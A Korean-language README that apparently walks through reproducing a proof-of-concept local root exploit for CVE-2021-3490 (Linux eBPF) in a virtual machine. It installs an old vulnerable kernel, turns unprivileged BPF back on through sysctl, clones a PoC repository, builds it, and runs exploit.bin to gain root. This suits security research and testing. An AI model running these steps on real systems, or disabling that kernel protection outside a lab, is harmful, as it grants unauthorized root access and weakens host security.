
크레딧: https://github.com/chompie1337
Ubuntu Releases에서 ubuntu-20.04.6-live-server-amd64.iso를 다운로드하여 가상 머신에 설치합니다.
wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso
ISO 설치 후, Ubuntu 서버를 가상 머신에 완전히 설치하고 다음 명령어를 실행합니다.
sudo apt update
sudo apt install linux-image-5.8.0-50-generic linux-headers-5.8.0-50-generic linux-modules-5.8.0-50-generic linux-modules-extra-5.8.0-50-generic build-essential git libelf-dev
sudo nano /etc/default/grub
# Remove the hidden line and set grub_timeout = 15
새로 설치된 커널로 재부팅한 후 다음 명령어를 실행합니다:
echo "kernel.unprivileged_bpf_disabled=0" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
그런 다음 이 저장소를 가상 머신에 클론합니다.
git clone https://github.com/prabeershakya/CVE-2021-3490-POC.git
이제 POC 디렉터리로 이동한 후 다음 명령어를 실행합니다.
make groovy
마지막으로 다음 명령어를 실행하여 루트 권한을 획득합니다!!
chmod +x ./bin/exploit.bin
./bin/exploit.bin